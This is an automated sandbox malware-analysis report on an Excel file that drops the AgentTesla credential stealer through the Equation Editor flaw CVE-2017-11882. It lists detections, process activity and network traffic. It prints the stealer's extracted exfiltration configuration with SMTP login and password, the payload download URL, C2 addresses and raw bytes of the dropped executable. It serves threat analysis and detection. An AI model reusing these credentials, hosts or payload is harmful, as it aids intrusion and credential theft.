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Analysis Report TACSAL.xlsx

Overview

General Information

Sample Name:	TACSAL.xlsx
Analysis ID:	344848
MD5:	04295ba63eaeb18f062045b0d0106670
SHA1:	daf3e6043fa67319bf7090cdc60bec6303c7f78e
SHA256:	fbc7b775eaa32cdc8daffe7a3db74bc36e06bab32b53d5d65eceb76081f664cd
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AgentTesla

Yara detected AntiVM_3

.NET source code contains very large array initializations

C2 URLs / IPs found in malware configuration

Drops PE files to the user root directory

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Office equation editor drops PE file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Executables Started in Suspicious Folder

Sigma detected: Execution in Non-Executable Folder

Sigma detected: Suspicious Program Location Process Starts

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

PE file contains strange resources

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 532 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

EQNEDT32.EXE (PID: 2520 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2736 cmdline: 'C:\Users\Public\vbc.exe' MD5: 411FA0337649AD03B57D223E60680397)

vbc.exe (PID: 2836 cmdline: C:\Users\Public\vbc.exe MD5: 411FA0337649AD03B57D223E60680397)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Username: ": "IWR6Nyjr", "URL: ": "https://FTlR0ss5usK.net", "To: ": "facturacion@migeulez.com", "ByHost: ": "smtp.migeulez.com:587", "Password: ": "DjnM0fJ0EN49rH", "From: ": "facturacion@migeulez.com"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2159933636.00000000023DA000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000005.00000002.2370560370.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2159922481.00000000023C1000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000005.00000002.2371263271.0000000002618000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2160179580.00000000033C8000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: vbc.exe PID: 2836	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: vbc.exe PID: 2836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vbc.exe PID: 2736	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: vbc.exe PID: 2736	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.vbc.exe.400000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2520, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 2736

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 103.153.76.181, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2520, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2520, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\winlog[1].exe

Sigma detected: Executables Started in Suspicious Folder

Show sources

Source: Process started

Sigma detected: Execution in Non-Executable Folder

Show sources

Source: Process started

Sigma detected: Suspicious Program Location Process Starts

Show sources

Source: Process started

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://suresb1sndyintercont.dns.army/receipst/winlog.exe

Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: vbc.exe.2836.5.memstr

Malware Configuration Extractor: Agenttesla {"Username: ": "IWR6Nyjr", "URL: ": "https://FTlR0ss5usK.net", "To: ": "facturacion@migeulez.com", "ByHost: ": "smtp.migeulez.com:587", "Password: ": "DjnM0fJ0EN49rH", "From: ": "facturacion@migeulez.com"}

Multi AV Scanner detection for domain / URL

Show sources

Source: http://suresb1sndyintercont.dns.army/receipst/winlog.exe

Virustotal: Detection: 10%

Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: TACSAL.xlsx

Virustotal: Detection: 31%

Perma Link

Machine Learning detection for dropped file

Show sources

Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\winlog[1].exe	Joe Sandbox ML: detected

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Software Vulnerabilities:

Source: C:\Users\Public\vbc.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h
Source: C:\Users\Public\vbc.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h

Source: global traffic

DNS query: name: suresb1sndyintercont.dns.army

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 103.153.76.181:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 103.153.76.181:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.22:49166 -> 208.91.199.225:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.22:49167 -> 208.91.198.143:587

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: https://FTlR0ss5usK.net

Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.199.225:587
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 208.91.198.143:587

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Jan 2021 08:15:44 GMTServer: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.2.34Last-Modified: Wed, 27 Jan 2021 06:00:08 GMTETag: "106000-5b9db7bb52a00"Accept-Ranges: bytesContent-Length: 1073152Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 78 0f 11 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 c6 0e 00 00 98 01 00 00 00 00 00 9e e5 0e 00 00 20 00 00 00 00 0f 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 10 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c e5 0e 00 4f 00 00 00 00 00 0f 00 7c 95 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 10 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 c5 0e 00 00 20 00 00 00 c6 0e 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 7c 95 01 00 00 00 0f 00 00 96 01 00 00 c8 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 10 00 00 02 00 00 00 5e 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 e5 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 98 43 02 00 1c 5c 01 00 03 00 00 00 01 00 00 06 b4 9f 03 00 98 45 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 1d 00 00 0a 28 1e 00 00 0a 00 de 02 00 dc 00 28 07 00 00 06 02 6f 1f 00 00 0a 00 2a 00 01 10 00 00 02 00 01 00 0e 0f 00 02 00 00 00 00 aa 00 02 16 28 20 00 00 0a 00 02 16 28 21 00 00 0a 00 02 17 28 22 00 00 0a 00 02 17 28 23 00 00 0a 00 02 17 28 24 00 00 0a 00 2a 4e 00 02 28 09 00 00 06 6f 70 04 00 06 28 25 00 00 0a 00 2a 26 00 02 28 26 00 00 0a 00 2a ce 73 27 00 00 0a 80 01 00 00 04 73 28 00 00 0a 80 02 00 00 04 73 29 00 00 0a 80 03 00 00 04 73 2a 00 00 0a 80 04 00 00 04 73 2b 00 00 0a 80 05 00 00 04 2a 00 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 2c 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 2d 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 2e 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 2f 00 00 0a

Source: Joe Sandbox View	IP Address: 208.91.198.143 208.91.198.143
Source: Joe Sandbox View	IP Address: 208.91.199.225 208.91.199.225

Source: Joe Sandbox View	ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS
Source: Joe Sandbox View	ASN Name: TWIDC-AS-APTWIDCLimitedHK TWIDC-AS-APTWIDCLimitedHK

Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.91.199.225:587
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 208.91.198.143:587

Source: global traffic

HTTP traffic detected: GET /receipst/winlog.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: suresb1sndyintercont.dns.armyConnection: Keep-Alive

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E243FB15.emf

Jump to behavior

Source: global traffic

Source: unknown

DNS traffic detected: queries for: suresb1sndyintercont.dns.army

Source: vbc.exe, 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: vbc.exe, 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: vbc.exe, 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp	String found in binary or memory: http://GhlhtO.com
Source: vbc.exe, 00000005.00000002.2372183882.0000000005DF0000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: vbc.exe, 00000004.00000002.2159922481.00000000023C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vbc.exe, 00000005.00000002.2371340918.00000000026D6000.00000004.00000001.sdmp	String found in binary or memory: http://smtp.migeulez.com
Source: vbc.exe, 00000005.00000002.2371340918.00000000026D6000.00000004.00000001.sdmp	String found in binary or memory: http://us2.smtp.mailhostbox.com
Source: vbc.exe, 00000005.00000002.2372183882.0000000005DF0000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: E243FB15.emf.0.dr	String found in binary or memory: http://www.day.com/dam/1.0
Source: vbc.exe, 00000005.00000002.2371263271.0000000002618000.00000004.00000001.sdmp	String found in binary or memory: https://FTlR0ss5usK.net
Source: vbc.exe, 00000005.00000002.2371263271.0000000002618000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.org%
Source: vbc.exe, 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.org%GETMozilla/5.0
Source: vbc.exe, 00000004.00000002.2160179580.00000000033C8000.00000004.00000001.sdmp, vbc.exe, 00000005.00000002.2370560370.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: vbc.exe, 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing from the 19 , yelbw bar above 20 This document is 21 t , 3. Once you have enable
Source: Screenshot number: 4	Screenshot OCR: Enable Content from the yellow rabove 23 24 25 26 27 28 29 30 " " " " " 31 0 0 0 0 ~ -

.NET source code contains very large array initializations

Show sources

Source: 5.2.vbc.exe.400000.1.unpack, u003cPrivateImplementationDetailsu003eu007bBFB9D646u002dAC94u002d4CA6u002dB029u002d37D6F36F4C26u007d/u0033AB94A16u002dE084u002d41F8u002d8920u002d70575B436CD7.cs

Large array initialization: .cctor: array initializer size 11954

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\winlog[1].exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00222148
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00221BA0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00221E90
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00223AA7
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00223AB8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00225320
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00226340
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00222089
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00225668
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0022E858
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0070E890
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00705288
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00708960
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00701DD0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0070BBC0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0070C990
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00707F88
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00840048
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00844F5F
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00700048

Source: TACSAL.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: winlog[1].exe.2.dr

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: winlog[1].exe.2.dr

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 5.2.vbc.exe.400000.1.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 5.2.vbc.exe.400000.1.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@6/8@8/3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$TACSAL.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRFCC5.tmp

Jump to behavior

Source: C:\Users\Public\vbc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Users\Public\vbc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Source: C:\Users\Public\vbc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\Public\vbc.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\Public\vbc.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: TACSAL.xlsx

Virustotal: Detection: 31%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: unknown	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\vbc.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: TACSAL.xlsx

Static file information: File size 2411520 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: TACSAL.xlsx

Initial sample: OLE indicators vbamacros = False

Source: TACSAL.xlsx

Initial sample: OLE indicators encrypted = True

Data Obfuscation:

Source: C:\Users\Public\vbc.exe

Code function: 4_2_0022CE58 push esp; retf 0022h

Source: initial sample

Static PE information: section name: .text entropy: 7.67209039123

Persistence and Installation Behavior:

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\winlog[1].exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
